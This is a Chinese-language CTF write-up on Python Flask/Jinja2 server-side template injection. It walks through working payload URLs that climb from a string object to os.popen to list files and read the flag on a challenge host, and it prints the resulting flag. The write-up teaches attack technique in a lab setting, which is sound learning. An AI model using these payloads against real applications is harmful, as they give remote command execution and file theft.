XCTF-WEB-高手进阶区-Web_python_template_injection-笔记

  Web_python_template_injection

  o(╥﹏╥)o从这里开始题目就变得有点诡谲了

  网上搜索相关教程的确是一知半解,大概参考了如下和最后的WP:

  http://shaobaobaoer.cn/archives/660/python-flask-jinja-ssti

  https://xz.aliyun.com/t/3679#toc-8 (这篇讲的特别好)

  https://blog.csdn.net/sxingming/article/details/52071514

  https://www.cnblogs.com/tr1ple/p/9415641.html

  https://www.freebuf.com/column/187845.html

  简单来说还就是代码不规范导致的,渲染函数render_template_string,在使用%s来替换字符串的时候,会把字符串中被{{}}包围内容当作变量解析

  首先,题目告诉我们这是一个 python 注入问题,那么脚本肯定也是 python 的,思 考怎样用 python 语句获取控制台权限:想到了 `os.system` 和 `os.popen`, 这两句前 者返回 **退出状态码** , 后者 **以 file 形式** 返回 **输出内容**, 我们想要的是 内容,所所以选择 `os.popen` 

  知道了要用这一句,那么我要怎么找到这一句呢?

  __class__ : 返回对象所属的类

  __mro__ : 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。

  __base__ : 返回该类所继承的基类
  __base__和__mro__都是用来寻找基类的
  __subclasses__ : 每个新类都保留了子类的引用,这个方法返回一个 类中仍然可用的的引用的列表
  __init__ : 类的初始化方法
  __globals__ : 对包含函数全局变量的字典的引用

  

  首先,找到当前变量所在的类:

  http://159.138.137.79:56645/{{''.__class__}}

  得到类:<type 'str'>

  接下来查看他的基类:

  http://159.138.137.79:56645/{{''.__class__.__mro__}}

  得到基类:<type 'str'>, <type 'basestring'>, <type 'object'>

  然后,通过基类来找其中任意一个基类的引用列表

  http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()}}   ps:mro里面不能不填,测试mro2和mro-1均能弹出来列表,其他的不行

  找到Site_Printer() 位于第72位:所以:__subclasses__()[71]

  直接使用listdir函数列出当前的文件,并搜索可能存在的flag文件或者:通过 `` 来 调用服务器的控制台并显示

  http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}

  http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}} 

  返回:

  URL http://159.138.137.79:56645/['index.py', 'fl4g'] not found

  得到名字以后使用文件名.read()的方式读取:

  http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}

  http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}} 

  获得:URL http://159.138.137.79:56645/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found

  得到flag

  

  

原文地址:https://www.cnblogs.com/SonnyYeung/p/12702179.html